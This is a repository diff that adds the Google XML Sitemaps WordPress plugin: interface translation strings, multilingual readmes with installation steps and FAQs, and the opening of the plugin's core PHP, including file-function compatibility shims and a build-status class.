+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3397
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:938
+msgid "Sitemap Content"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3405
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:944
+msgid "Include homepage"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3411
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:950
+msgid "Include posts"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:956
+msgid "Include following pages of multi-page posts (Increases build time and memory usage!)"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3417
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:962
+msgid "Include static pages"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3423
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:968
+msgid "Include categories"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3429
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:974
+msgid "Include archives"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3436
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:981
+msgid "Include tag pages"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3443
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:988
+msgid "Include author pages"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:992
+msgid "Further options"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:997
+msgid "Include the last modification time."
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:999
+msgid "This is highly recommended and helps the search engines to know when your content has changed. This option affects <i>all</i> sitemap entries."
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1006
+msgid "Excluded items"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1008
+msgid "Excluded categories"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1010
+msgid "Using this feature will increase build time and memory usage!"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1017
+#, php-format
+msgid "This feature requires at least WordPress 2.5.1, you are using %s"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1020
+msgid "Exclude posts"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1022
+msgid "Exclude the following posts or pages:"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1022
+msgid "List of IDs, separated by comma"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1024
+msgid "Child posts won't be excluded automatically!"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3457
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1030
+msgid "Change frequencies"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3463
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1034
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3469
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3535
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1040
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1097
+msgid "Homepage"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3475
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1046
+msgid "Posts"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3481
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3553
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1052
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1115
+msgid "Static pages"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3487
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3559
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1058
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1121
+msgid "Categories"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3493
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1064
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3499
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1070
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3506
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3572
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1077
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1134
+msgid "Tag pages"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3513
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3579
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1084
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1141
+msgid "Author pages"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3527
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1092
+msgid "Priorities"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3541
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1103
+msgid "Posts (If auto calculation is disabled)"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3547
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1109
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3565
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1127
+msgid "Archives"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3590
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1152
+msgid "Update options"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3591
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1153
+msgid "Reset options"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:87
+msgid "XML-Sitemap Generator"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:87
+msgid "XML-Sitemap"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:101
+msgid "Settings"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:102
+msgid "FAQ"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:103
+msgid "Support"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:104
+msgid "Donate"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:154
+msgid "Sitemap FAQ"
+msgstr ""
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/readme-ar_AR.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/readme-ar_AR.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/readme-ar_AR.txt	(revision 44)
@@ -0,0 +1,37 @@
+﻿=== صانع خريطة الموقع لبرنامج ووردبريس ===
+
+
+المطورون: Arne, Michael, Rodney, Hirosama, James, John, Brad, Christian
+ترجمة: سوار - http://www.sewar.be/wordpress/plugins/sitemap/
+
+هذه الأداة ستشئ خريطة لموقعك متوافقة مع محرك البحث google لمدونة ووردبريس الخاصة بك. حالياً يتم إضافة الصفحة الرئيسية, التدوينات, الصفحات, التصنيفات و الأرشيف إلى الخريطة آلياً. أفضلية التدوينة تعتمد على عدد التعليقات عليها. تعليقات أكثر, أفضلية أعلى! إذا كان لديك صفحات خارجية لا تنتمي إلى مدونتك, تستطيع أيضاً إضافتهم إلى الخريطة. هذه الأداة ستخبر Google تلقائياً عندما يتم إعادة إنشاء خريطة الموقع.
+
+== التثبيت ==
+
+1. ارفع المجلد بالكامل إلى مجلد wp-content/plugins في موقعك، يكفي رفع الملفات التالية: sitemap.php و sitemap-ar.mo لكي تعمل الإضافة باللغة العربية.
+2. إجعل مجلد مدونتك الرئيسي قابل للكتابة أو إنشأ ملفين و سمهم: sitemap.xml و sitemap.xml.gz و أجعلهم قابلين للكتابة.
+2. فعل الإضافة من لوحة تحكم مدونتك.
+3. حرر أو إنشر تدوينة أو إضغط على زر "إعادة إنشاء خريطة الموقع" في إعدادات خريطة الموقع.
+
+== الأسئلة المتكررة == 
+
+= لا يوجد في مدونتي تعليقات (أو قمت بإلغائهم) و جميع تدويناتي لديها الأفضلية صفر! =
+قم بتعطل حساب الأفضلية الآلية و حدد أفضلية ثابتة للتدوينات!
+
+= هل يجب علي دائماً الضغط على زر "إعادة إنشاء خريطة الموقع" إذا قمت بتعديل تدوينة? =
+A: لا! إذا قمت بتحرير أو نشر أو حذف تدوينة, سيتم إعادة إنشاء خريطة موقعك تلقائياً!
+
+= الإعدادات كثيرة جداً … هل يجب عليّ تغييرهم كلهم? =
+A: لا! فقط إذا أردت ذلك. الإعدادات الإفتراضية مناسبة!
+
+= ما هي الإصدارات التي تعمل عليها هذه الإضافة في ووردبريس? =
+A: هذه الإضافة تعمل على الإصدارة 1.5.1.1 و الإصدارات الأحدث بما في ذلك الإصدارة 2.0. بعض المستخدمين حصلت لهم مشاكل في الإصدارة 1.5. يجب أن تحدث مدونتك إلى آخر إصدار من برنامج ووردبريس لأنه يتضمن أيضاً على إغلاق ثغرات خطيرة.
+
+= ظهرت لي رسالة خطأ "fopen error" و / أو "permission denied" =
+A: إذا ظهرت لك أخطاء في الصلاحيات تأكد من إعدادات خريطة الموقع في لوحة التحكم. حاول أن تنشئ ملفين باسم sitemap.xml و sitemap.xml.gz يدوياً ثم أرفعهم إلى موقعك و غير الصلاحيات "CHMOD" إلى 666. ثم أعد إنشاء خارطة الموقع من لوحة التحكم. يوجد درس رائع لطريقة تغيير صلاحيات ملف تستطيع إيجاده في ووردبريس كوديكس.
+
+= ما هي إصدارات قاعدة البيانات MySQL المدعومة? =
+A: جميع إصدارات MySQL 4 تعمل, دعم إصدار MySQL 3 أضيف في الإصدارة 2.12 من هذه الإضافة.
+
+= هل أنا أحتاج حقاً إلى إستخدام هذه الأداة? =
+ربما لا إذا كان Google يعرف موقعك جيداً و يزوره يومياً. إذا لم يكن كذلك, ستكون أداة جيدة لإعلام Google بموقعك و التحديثات التي طرأت عليه. هذا سيجعل Google يحدث الصفحة فقط إذا تطلب الأمر ذلك و سوف يجعلك تحافظ على الـ Bandwith.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/readme-it_IT.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/readme-it_IT.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/readme-it_IT.txt	(revision 44)
@@ -0,0 +1,37 @@
+=== Google Sitemap Generator per WordPress ===
+
+Tag: wordpress, sitemap, google, plugin
+Contributi: Arne, Michael, Rodney, Hirosama, James, John, Brad, Christian
+
+Questo generatore crea una mappa del vostro blog WordPress (sitemap) secondo le specifiche di Google. Attualmente vengono gestiti la homepage, gli articoli, le pagine statiche, le categorie e gli archivi. La prioritò degli articoli dipende dai loro commenti. Più commenti, maggiore priorità! Se si hanno pagine esterne che non appartngono al blog, queste pagine possono venir incluse all'elenco. Questo plugin eseguira una notifica automatica a Google ogni qualvolta la sitemap viene rigenerata.
+
+== Installzione ==
+
+1. Caricare tutti i file nella directory wp-content/plugins
+2. Rendere la directory del blog scrivibile OPPURE creare due file denominati sitemap.xml e sitemap.xml.gz e renderli scrivibili tramite CHMOD. Nella maggior pate dei casi la direcotry del vostro blog è già scrivibile.
+2. Attivare il plugin tramite il pannello di controllo Plugin
+3. Modificare o pubblicare un articolo o fare click su Ricostruisci la Sitemap nel pannello di amministrazione Sitemap nella sezione Opzioni
+
+== FAQ ==
+
+= Non ho commenti (o sono disabilitati) e tutti i miei articoli hanno priorità zero! =
+A: Disabilitare il calcolo automatico della priorità e definire una priorità statica per gli articoli!
+
+= Devo far sempre click su "Ricostruisci la Sitemap" se modifico un articolo? =
+A: No! Quando si modifica/pubblica/cancella un articolo la sitemap viene rigenerata automaticamente!
+
+= Ci sono così tante opzioni
+ Devo cambiarle per forza? =
+A: No! Solo se lo desiderate. I valori predfiniti dovrebbero già essere ok!
+
+= Funziona con tutte le versioni di WordPress? =
+A: Spiacente, l'ho provata solo con la 1.5.1.1. Alcuni utenti hanno segnalato problemi con Wordpress 1.5. COnsiderate la possibilità di un aggiornamento del vostro blog alla Versione corrente di WordPress che contiene inoltre anche "un importante aggiornamento di sicurezza".
+
+= Ottengo un fopen error e/o permesso negato =
+A: Se ottenete un errore sui permessi assicuratevi che lo script abbia i diritti di scrittura sulla directory del vostro blog. Provate a creare manualmente i file sitemap.xml e sitemap.xml.gz e a caricarli con un programma ftp impostando i diritti di scrittura tramite CHMOD. Quindi riavviate la generazione della sitemap dalla pagina di amministrazione. Un valida guida per modificare i permessi si trova sul Codex di WordPress.
+
+= Quale versione di MySQL è supportata? =
+A: MySQL 4 funziona con tutte le versioni, il supporto a MySQL 3 è stato aggiunto nella versione 2.12
+
+= Devo usare per forza questo plugin? =
+No se Google conosce bene il vostro blog e lo visita ogni giorno. Se non accade questo è un ottimo metodo per informare Google riguardo alle vostre pagine ed i loro ultimi cambiamenti. Ciò fa si che Google aggiorni le pagine solo se necessario dandovi un certo risparmio di banda.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/readme.txt	(revision 44)
@@ -0,0 +1,77 @@
+=== Google XML Sitemaps ===
+Contributors: arnee
+Donate link: http://www.arnebrachhold.de/redir/sitemap-paypal
+Tags: google, sitemaps, google sitemaps, yahoo, msn, ask, live, xml sitemap, xml
+Requires at least: 2.1
+Tested up to: 2.9
+Stable tag: 3.1.5
+
+This plugin will create a Google sitemaps compliant XML-Sitemap of your WordPress blog.
+
+== Description ==
+
+This plugin will create a Google sitemaps compliant XML-Sitemap of your WordPress blog. It supports all of the WordPress generated pages as well as custom ones. Everytime you edit or create a post, your sitemap is updated and all major search engines that support the sitemap protocol, like ASK.com, Google, MSN Search and YAHOO, are notified about the update.
+
+Related Links:
+
+* <a href="http://www.arnebrachhold.de/projects/wordpress-plugins/google-xml-sitemaps-generator/" title="Google XML Sitemaps Plugin for WordPress">Plugin Homepage</a>
+* <a href="http://www.arnebrachhold.de/projects/wordpress-plugins/google-xml-sitemaps-generator/changelog/" title="Changelog of the Google XML Sitemaps Plugin for WordPress">Changelog</a>
+* <a href="http://www.arnebrachhold.de/2006/04/07/google-sitemaps-faq-sitemap-issues-errors-and-problems/" title="Google Sitemaps FAQ">Plugin and sitemaps FAQ</a>
+* <a href="http://wordpress.org/tags/google-sitemap-generator">Support Forum</a>
+
+
+== Installation ==
+
+1. Upload the full directory into your wp-content/plugins directory
+2. Use your favorite FTP program to create two files in your WordPress directory (that's where the wp-config.php is) named sitemap.xml and sitemap.xml.gz and make them writable via CHMOD 666. More information about CHMOD and how to make files writable is available at the [WordPress Codex](http://codex.wordpress.org/Changing_File_Permissions) and on [stadtaus.com](http://www.stadtaus.com/en/tutorials/chmod-ftp-file-permissions.php). Making your whole blog directory writable is NOT recommended anymore due to security reasons.
+4. Activate the plugin at the plugin administration page
+5. Open the plugin configuration page, which is located under Options -> XML-Sitemap and build the sitemap the first time. If you get a permission error, check the file permissions of the newly created files.
+6. The plugin will automatically update your sitemap of you publish a post, so theres nothing more to do :)
+
+== Frequently Asked Questions == 
+
+= There are no comments yet (or I've disabled them) and all my postings have a priority of zero! =
+
+Please disable automatic priority calculation and define a static priority for posts.
+
+= Do I always have to click on "Rebuild Sitemap" if I modified a post? =
+
+No, if you edit/publish/delete a post, your sitemap is automatcally regenerated
+
+= So much configuration options... Do I need to change them? =
+
+No, only if you want to. Default values should be ok!
+
+= Does this plugin work with all WordPress versions? =
+
+This version works with WordPress 2.1 and better. If you're using an older version, plese check the [Google Sitemaps Plugin Homepage](http://www.arnebrachhold.de/projects/wordpress-plugins/google-xml-sitemaps-generator/ "Google (XML) Sitemap Generator Plugin Homepage") for the legacy releases. There is a working release for every WordPress version since 1.5
+
+= I get an fopen and / or permission denied error or my sitemap files could not be written =
+
+If you get permission errors, make sure that the script has the right to overwrite the sitemap.xml and sitemap.xml.gz files. Try to create the sitemap.xml resp. sitemap.xml.gz at manually and upload them with a ftp program and set the rights with CHMOD to 666 (or 777 if 666 still doesn't work). Then restart sitemap generation on the administration page. A good tutorial for changing file permissions can be found on the [WordPress Codex](http://codex.wordpress.org/Changing_File_Permissions) and at [stadtaus.com](http://www.stadtaus.com/en/tutorials/chmod-ftp-file-permissions.php).
+
+= My question isn't answered here =
+
+Most of the plugin options are described at the [plugin homepage](http://www.arnebrachhold.de/projects/wordpress-plugins/google-xml-sitemaps-generator/) as well as the dedicated [Google Sitemap FAQ](http://www.arnebrachhold.de/2006/04/07/google-sitemaps-faq-sitemap-issues-errors-and-problems/ "List of common questions / problems regarding Google (XML) Sitemaps")
+
+= My question isn't even answered there =
+
+Please post your question at the [WordPress support forum](http://wordpress.org/tags/sitemap) and tag your post with &quot;sitemap&quot;.
+
+= What's new in the latest version? =
+
+The changelog is maintened on [here](http://www.arnebrachhold.de/projects/wordpress-plugins/google-xml-sitemaps-generator/changelog/ "Google (XML) Sitemap Generator Plugin Changelog")
+
+== Screenshots ==
+
+1. Administration interface in WordPress 2.7
+2. Administration interface in WordPress 2.5
+3. Administration interface in WordPress 2.0
+
+== Licence ==
+
+Good news, this plugin is free for everyone! Since it's released under the GPL, you can use it free of charge on your personal or commercial blog. But if you enjoy this plugin, you can thank me and leave a [small donation](http://www.arnebrachhold.de/redir/sitemap-paypal "Donate with PayPal") for the time I've spent writing and supporting this plugin. And I really don't want to know how many hours of my life this plugin has already eaten ;)
+
+== Translations ==
+
+The plugin comes with various translations, please refer to the [WordPress Codex](http://codex.wordpress.org/Installing_WordPress_in_Your_Language "Installing WordPress in Your Language") for more information about activating the translation. If you want to help to translate the plugin to your language, please have a look at the sitemap.pot file which contains all defintions and may be used with a [gettext](http://www.gnu.org/software/gettext/) editor like [Poedit](http://www.poedit.net/) (Windows).
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/sitemap-core.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/sitemap-core.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/sitemap-core.php	(revision 44)
@@ -0,0 +1,2513 @@
+<?php
+/*
+ 
+ $Id: sitemap-core.php 150610 2009-08-30 21:11:36Z arnee $
+
+*/
+
+//Enable for dev! Good code doesn't generate any notices...
+//error_reporting(E_ALL);
+//ini_set("display_errors",1);
+
+#region PHP5 compat functions
+if (!function_exists('file_get_contents')) {
+	/**
+	 * Replace file_get_contents()
+	 *
+	 * @category    PHP
+	 * @package     PHP_Compat
+	 * @link        http://php.net/function.file_get_contents
+	 * @author      Aidan Lister <aidan - php - net>
+	 * @version     $Revision: 1.21 $
+	 * @internal    resource_context is not supported
+	 * @since       PHP 5
+	 */
+	function file_get_contents($filename, $incpath = false, $resource_context = null) {
+		if (false === $fh = fopen($filename, 'rb', $incpath)) {
+			user_error('file_get_contents() failed to open stream: No such file or directory', E_USER_WARNING);
+			return false;
+		}
+		
+		clearstatcache();
+		if ($fsize = @filesize($filename)) {
+			$data = fread($fh, $fsize);
+		} else {
+			$data = '';
+			while (!feof($fh)) {
+				$data .= fread($fh, 8192);
+			}
+		}
+		
+		fclose($fh);
+		return $data;
+	}
+}
+
+
+if(!function_exists('file_put_contents')) {
+	
+	if (!defined('FILE_USE_INCLUDE_PATH')) {
+		define('FILE_USE_INCLUDE_PATH', 1);
+	}
+	
+	if (!defined('LOCK_EX')) {
+		define('LOCK_EX', 2);
+	}
+	
+	if (!defined('FILE_APPEND')) {
+		define('FILE_APPEND', 8);
+	}
+	
+	
+	/**
+	 * Replace file_put_contents()
+	 *
+	 * @category    PHP
+	 * @package     PHP_Compat
+	 * @link        http://php.net/function.file_put_contents
+	 * @author      Aidan Lister <aidan - php - net>
+	 * @version     $Revision: 1.25 $
+	 * @internal    resource_context is not supported
+	 * @since       PHP 5
+	 * @require     PHP 4.0.0 (user_error)
+	 */
+	function file_put_contents($filename, $content, $flags = null, $resource_context = null) {
+		// If $content is an array, convert it to a string
+		if (is_array($content)) {
+			$content = implode('', $content);
+		}
+		
+		// If we don't have a string, throw an error
+		if (!is_scalar($content)) {
+			user_error('file_put_contents() The 2nd parameter should be either a string or an array',E_USER_WARNING);
+			return false;
+		}
+		
+		// Get the length of data to write
+		$length = strlen($content);
+		
+		// Check what mode we are using
+		$mode = ($flags & FILE_APPEND)?'a':'wb';
+		
+		// Check if we're using the include path
+		$use_inc_path = ($flags & FILE_USE_INCLUDE_PATH)?true:false;
+		
+		// Open the file for writing
+		if (($fh = @fopen($filename, $mode, $use_inc_path)) === false) {
+			user_error('file_put_contents() failed to open stream: Permission denied',E_USER_WARNING);
+			return false;
+		}
+		
+		// Attempt to get an exclusive lock
+		$use_lock = ($flags & LOCK_EX) ? true : false ;
+		if ($use_lock === true) {
+			if (!flock($fh, LOCK_EX)) {
+				return false;
+			}
+		}
+		
+		// Write to the file
+		$bytes = 0;
+		if (($bytes = @fwrite($fh, $content)) === false) {
+			$errormsg = sprintf('file_put_contents() Failed to write %d bytes to %s',$length,$filename);
+			user_error($errormsg, E_USER_WARNING);
+			return false;
+		}
+		
+		// Close the handle
+		@fclose($fh);
+		
+		// Check all the data was written
+		if ($bytes != $length) {
+			$errormsg = sprintf('file_put_contents() Only %d of %d bytes written, possibly out of free disk space.',$bytes,$length);
+			user_error($errormsg, E_USER_WARNING);
+			return false;
+		}
+		
+		// Return length
+		return $bytes;
+	}
+	
+}
+#endregion
+
+/**
+ * Represents the status (success and failures) of a building process
+ * @author Arne Brachhold
+ * @package sitemap
+ * @since 3.0b5
+ */
+class GoogleSitemapGeneratorStatus {
+
+	function GoogleSitemapGeneratorStatus() {
+		$this->_startTime = $this->GetMicrotimeFloat();
+		
+		$exists = get_option("sm_status");
+		
+		if($exists === false) add_option("sm_status","","Status","no");
+		
+		$this->Save();
+	}
+	
+	function Save() {
+		update_option("sm_status",$this);
+	}
+	
+	function Load() {
+		$status = @get_option("sm_status");
+		if(is_a($status,"GoogleSitemapGeneratorStatus")) return $status;
+		else return null;
+	}
+	
+	/**
+	 * @var float $_startTime The start time of the building process
+	 * @access private
+	 */
+	var $_startTime = 0;
+	
+	/**
+	 * @var float $_endTime The end time of the building process
+	 * @access private
+	 */
+	var $_endTime = 0;
+	
+	/**
+	 * @var bool $$_hasChanged Indicates if the sitemap content has changed
+	 * @access private
+	 */
+	var $_hasChanged = true;
+	
+	/**
+	 * @var int $_memoryUsage The amount of memory used in bytes
+	 * @access private
+	 */
+	var $_memoryUsage = 0;
+	
+	/**
+	 * @var int $_lastPost The number of posts processed. This value is updated every 50 posts.
+	 * @access private
+	 */
+	var $_lastPost = 0;
+	
+	/**
+	 * @var int $_lastTime The time when the last step-update occured. This value is updated every 50 posts.
+	 * @access private
+	 */
+	var $_lastTime = 0;
+	
+	function End($hasChanged = true) {
+		$this->_endTime = $this->GetMicrotimeFloat();
+		
+		$this->SetMemoryUsage();
+		
+		$this->_hasChanged = $hasChanged;
+		
+		$this->Save();
+	}
+	
+	function SetMemoryUsage() {
+		if(function_exists("memory_get_peak_usage")) {
+			$this->_memoryUsage = memory_get_peak_usage(true);
+		} else if(function_exists("memory_get_usage")) {
+			$this->_memoryUsage =  memory_get_usage(true);
+		}
+	}
+	
+	function GetMemoryUsage() {
+		return round($this->_memoryUsage / 1024 / 1024,2);
+	}
+	
+	function SaveStep($postCount) {
+		$this->SetMemoryUsage();
+		$this->_lastPost = $postCount;
+		$this->_lastTime = $this->GetMicrotimeFloat();
+		
+		$this->Save();
+	}
+	
+	function GetTime() {
+		return round($this->_endTime - $this->_startTime,2);
+	}
+	
+	function GetStartTime() {
+		return round($this->_startTime, 2);
+	}
+	
+	function GetLastTime() {
+		return round($this->_lastTime - $this->_startTime,2);
+	}
+	
+	function GetLastPost() {
+		return $this->_lastPost;
+	}
+	
+	var $_usedXml = false;
+	var $_xmlSuccess = false;
+	var $_xmlPath = '';
+	var $_xmlUrl = '';
+	
+	function StartXml($path,$url) {
+		$this->_usedXml = true;
+		$this->_xmlPath = $path;
+		$this->_xmlUrl = $url;
+		
+		$this->Save();
+	}
+	
+	function EndXml($success) {
+		$this->_xmlSuccess = $success;
+		
+		$this->Save();
+	}
+	
+	
+	var $_usedZip = false;
+	var $_zipSuccess = false;
+	var $_zipPath = '';
+	var $_zipUrl = '';
+	
+	function StartZip($path,$url) {
+		$this->_usedZip = true;
+		$this->_zipPath = $path;
+		$this->_zipUrl = $url;
+		
+		$this->Save();
+	}
+	
+	function EndZip($success) {
+		$this->_zipSuccess = $success;
+		
+		$this->Save();
+	}
+	
+	var $_usedGoogle = false;
+	var $_googleUrl = '';
+	var $_gooogleSuccess = false;
+	var $_googleStartTime = 0;
+	var $_googleEndTime = 0;
+	
+	function StartGooglePing($url) {
+		$this->_googleUrl = true;
+		$this->_usedGoogle = true;
+		$this->_googleStartTime = $this->GetMicrotimeFloat();
+		
+		$this->Save();
+	}
+	
+	function EndGooglePing($success) {
+		$this->_googleEndTime = $this->GetMicrotimeFloat();
+		$this->_gooogleSuccess = $success;
+		
+		$this->Save();
+	}
+	
+	function GetGoogleTime() {
+		return round($this->_googleEndTime - $this->_googleStartTime,2);
+	}
+	
+	var $_usedYahoo = false;
+	var $_yahooUrl = '';
+	var $_yahooSuccess = false;
+	var $_yahooStartTime = 0;
+	var $_yahooEndTime = 0;
+	
+	function StartYahooPing($url) {
+		$this->_yahooUrl = $url;
+		$this->_usedYahoo = true;
+		$this->_yahooStartTime = $this->GetMicrotimeFloat();
+		
+		$this->Save();
+	}
+	
+	function EndYahooPing($success) {
+		$this->_yahooEndTime = $this->GetMicrotimeFloat();
+		$this->_yahooSuccess = $success;
+		
+		$this->Save();
+	}
+	
+	function GetYahooTime() {
+		return round($this->_yahooEndTime - $this->_yahooStartTime,2);
+	}
+	
+	var $_usedAsk = false;
+	var $_askUrl = '';
+	var $_askSuccess = false;
+	var $_askStartTime = 0;
+	var $_askEndTime = 0;
+	
+	function StartAskPing($url) {
+		$this->_usedAsk = true;
+		$this->_askUrl = $url;
+		$this->_askStartTime = $this->GetMicrotimeFloat();
+		
+		$this->Save();
+	}
+	
+	function EndAskPing($success) {
+		$this->_askEndTime = $this->GetMicrotimeFloat();
